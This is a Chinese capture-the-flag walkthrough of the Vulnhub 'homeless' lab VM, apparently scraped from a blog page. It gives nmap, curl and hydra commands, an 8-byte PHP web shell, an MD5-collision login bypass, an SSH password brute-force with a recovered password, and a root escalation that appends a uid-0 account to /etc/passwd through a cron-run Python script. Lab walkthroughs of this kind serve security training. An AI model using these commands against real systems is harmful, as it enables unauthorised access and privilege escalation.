信息搜集

nmap -sP 192.168.146.6

nmap -A -Pn 192.168.146.151

直接访问web服务。

大概浏览一下没发现什么,直接扫描下目录把dirb+bp。



BP具体操作:抓包-Target选项卡-右键该地址-Spider/discovery

看一眼robots.txt有一些提示

可能之后要爆破啥的,再看一看源码,发现有一段User-agent,可能是将我们的User-agent回显了,抓包看看



可以发现,User-agent确实回显了,但是改成其他的也是回显,没找到利用的方式。

然后按照CTF的套路猜测一下,可能需要一个特定的User-gent才能回显特定的内容。

再查看一下源码,看到一副很奇怪的图片,特别模糊,但是能大概看清上面的一行字,用来当User-agent



Cyberdog Sledding Portal 使用这行,发现回显了特定的东西。

给了一个url路径myuploader_priv,直接访问一下http://192.168.146.151/myuploader_priv/

getFlag

文件上传

随便上传一个普通的一句话,说文件太大了。。。



fuzz一下,发现最大上传文件大小为8字节。

使用最短的执行命令的方法 <?=`ls`;,将此写进short.php

访问http://192.168.146.151/files/short.php

访问887beed152a3e8f946857bade267bb19d159ef59.txt

再访问一下这个目录http://192.168.146.151/d5fa314e8577e3a7b8534a014b4dcb221de823ad/,找到后台

点击右上角needhint,得到index.php.bak查看index.php源码,主要看php代码

<?php
session_start();
error_reporting(0); if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
{ $username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$code = (string)$_POST['code']; if (($username == $password ) or ($username == $code) or ($password == $code)) { echo 'Your input can not be the same.'; } else if ((md5($username) === md5($password) ) and (md5($password) === md5($code)) ) {
$_SESSION["secret"] = '133720';
header('Location: admin.php');
exit(); } else { echo "<pre> Invalid password </pre>";
}
}
?>

逻辑就是username、password、code两两不相等,但是三者的md5相等。

md5碰撞

显然数组、0e头绕过是不可能的,看来只能用现有的工具进行md5碰撞,生成md5相同的东西了来绕过了。

github搜索一下,有现成的轮子https://github.com/thereal1024/python-md5-collision

看一下说明

可以看到使用gen_coll_test.py就行了

生成了很多out_test_xxx.txt,这些文件的md5的值肯定都是相同的,验证一下。(牛逼.jpg

curl命令传输文件

那么选三个文件,直接用curl命令传输过去就可以了,先查一查curl传输的用法。

参考https://ec.haxx.se/http/http-post

使用的参数:--data-urlencode HTTP POST data url encoded

curl --data-urlencode username@out_test_000.txt --data-urlencode password@out_test_001.txt --data-urlencode code@out_test_002.txt http://192.168.146.151/d5fa314e8577e3a7b8534a014b4dcb221de823ad/

emmm... 好像少了response看看该用什么参数。参数:-i, --include Include protocol response headers in the output

curl --data-urlencode username@out_test_000.txt --data-urlencode password@out_test_001.txt --data-urlencode code@out_test_002.txt http://192.168.146.151/d5fa314e8577e3a7b8534a014b4dcb221de823ad/ -i

好了,现在有cookie了,改一下就可以访问http://192.168.146.151/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php就进后台了。

命令执行

后台是一个命令执行的功能。

直接反弹shell,顺便提升为交互式shell



直接到/home目录下看到downfall用户,该用户目录下有很多文件。

todo.txt应该是提示,内容如下:

hey i am homeless guy. Now i living near python.

Try Harder!

Thanks.

看来要从某个python文件入手,那就来搜索一下。

find / -type f -user downfall 2>/dev/null #除了用户目录多了个邮件但是没权限

find / -type f -group downfall 2>/dev/null #查找属于downfall组的文件

发现一个py文件,进去看看。

emmm.. 然后就没什么思路了。

但是... 刚开始的提示rockyou好像还没有用上。。 难道是用来爆破downfall用户密码的?那就试试。

hydra -l downfall -P /usr/share/wordlists/rockyou.txt -t 5 ssh://192.168.146.151

过了一会就爆破出来了。。

密码:secretlyinlove

直接ssh连上去,得到真正的shell。

看一眼刚刚无权限打开的.secret_message,然后准备再去看py文件,然后就看到收到了邮件,肯定是有点什么了。

/var/mail下看看邮件

然后还可以看到这里是不能import 模块的

很明显了,这个homeless.py是一个以root权限运行的定时任务啊,那后续思路清晰了。

这里没有sudo命令,那直接用homeless写/etc/passwd文件即可。

先生成linux密码perl -e 'print crypt("A1oe",q($6$hoiLHdTI)) ."\n"'

$6$hoiLHdTI$OTp4A6JE3k0MJ0cNXOpKkZ/rSxGrTmTy3O12d5kD8BTZJa3P.SpeCW1WePO.lzPvbzPOzpMaY4Vt7rwSQ2BAm.

改python文件内容为

#! /usr/bin/python
f = open("/etc/passwd",'a')
f.write('A1oe:$6$hoiLHdTI$OTp4A6JE3k0MJ0cNXOpKkZ/rSxGrTmTy3O12d5kD8BTZJa3P.SpeCW1WePO.lzPvbzPOzpMaY4Vt7rwSQ2BAm.:0:0::/root:/bin/bash')
f.close()

(记得要加上第一行,不然无法解析然后疯狂报错)



等一分钟后看到用户A1oe已经写进去了



直接su A1oe password:A1oe登陆即可。

总结

刚开始的脑洞是真的大。。。(不知道是不是有别的思路,有的话请指教

收获了一个md5碰撞的好的轮子,以后ctf可以配合curl命令直接用了(curl真香

提权就没啥好说的了,比较常见,也就是修改root权限运行的定时文件进行提权操作。

Vulnhub homeless靶机渗透的更多相关文章

  1. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  2. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  3. Vulnhub JIS-CTF-VulnUpload靶机渗透

    配置问题解决 参考我的这篇文章https://www.cnblogs.com/A1oe/p/12571032.html更改网卡配置文件进行解决. 信息搜集 找到靶机 nmap -sP 192.168. ...

  4. Vulnhub webdeveloper靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.148 #综合扫描 访问一下发现是wordpress,wp直接上wpscan wpsc ...

  5. Vulnhub DC-8靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.146 #Enable OS detection, version detection ...

  6. Vulnhub DC-7靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.144 #端口扫描 查看robots.txt,看看admin,403,其他没有什么可利 ...

  7. Vulnhub DC-3靶机渗透

    修改错误配置 打开了ova文件会发现,怎么也找不到DC-3的ip地址,估计是网卡出了问题. 那么就先配置下网卡. 进入上面这个页面之前按e. 将这里的ro 替换为 rw signie init=/bi ...

  8. Vulnhub DC-1靶机渗透

    简介 DC-1靶机是为了入门渗透测试的人准备的入门级的靶机,该靶机共有5个flag,其中最后一个finalflag是真的flag,其他都是提示性flag.这个靶机虽然简单,但是还是能学到一些基本的思路 ...

  9. Vulnhub bulldog靶机渗透

    配置 VM运行kali,桥接模式设置virtualbox. vbox运行靶机,host-only网络. 信息搜集 nmap -sP 192.168.56.0/24 或者 arp-scan -l #主机 ...

随机推荐

  1. python之二分法求平方根

    前几天学完python的程序分支结构后,老师课后留了一个问题,用两种方法计算一个大于或等于 1 的实数 n 数的平方根. 描述设计一个用二分法计算一个大于或等于 1 的实数 n 的平方根的函数sqrt ...

  2. 初创电商公司Drop的数据湖实践

    欢迎关注微信公众号:ApacheHudi 1. 引入 Drop是一个智能的奖励平台,旨在通过奖励会员在他们喜爱的品牌购物时获得的Drop积分来提升会员的生活,同时帮助他们发现与他们生活方式产生共鸣的新 ...

  3. Python基础篇(四)_组合数据类型的基本概念

    Python基础篇——组合数据类型的基本概念 集合类型:元素的集合,元素之间无序 序列类型:是一个元素向量,元素之间存在先后关系,通过序号进行访问,没有排他性,具体包括字符串类型.元组类型.列表类型 ...

  4. Cisco 综合配置(一)

    要求: 1.内网所有PC及服务器都能访问外网 2.外网通过公网地址 202.101.100.3 访问内网服务器的Telnet服务 配置: PC.服务器都配置好自己的IP和默认网关:192.168.1. ...

  5. Python第六章-函数01-函数的概念和使用

    函数 为了便于程序的维护和更好的实现模块化,好的程序都会分解为很多函数. 可以这么说,对于任何的编程语言,函数都是一个非常重要的概念. python 不仅简化了函数的定义过程,而且还大量借鉴了其他函数 ...

  6. 03.第一个Go程序

    第一个Go程序 Hello World 现在我们来创建第一个Go项目--hello.在我们的GOPATH下的src目录中创建hello目录. 在该目录中创建一个main.go文件: package m ...

  7. SVM支持向量机——核函数、软间隔

    支持向量机的目的是寻找一个能讲两类样本正确分类的超平面,很多时候这些样本并不是线性分布的. 由此,可以将原始特征空间映射到更高维的特征空间,使其线性可分.而且,如果原始空间是有限维,即属性数量有限, ...

  8. Java基础语法(8)-数组中的常见排序算法

    title: Java基础语法(8)-数组中的常见排序算法 blog: CSDN data: Java学习路线及视频 1.基本概念 排序: 是计算机程序设计中的一项重要操作,其功能是指一个数据元素集合 ...

  9. 深度学习、物联网专家Sunil Kumar Vuppala博士独家专访

    介绍 有多种方法可以学习数据科学,机器学习和深度学习概念.您可以观看视频,阅读文章,参加课程,参加会议等.但是有一件事是无法替代的----经验. 我个人从与数据科学专家和行业领袖的交流中学到了很多.他 ...

  10. PyTorch专栏开篇

    目前研究人员正在使用的深度学习框架不尽相同,有 TensorFlow .PyTorch.Keras等.这些深度学习框架被应用于计算机视觉.语音识别.自然语言处理与生物信息学等领域,并获取了极好的效果. ...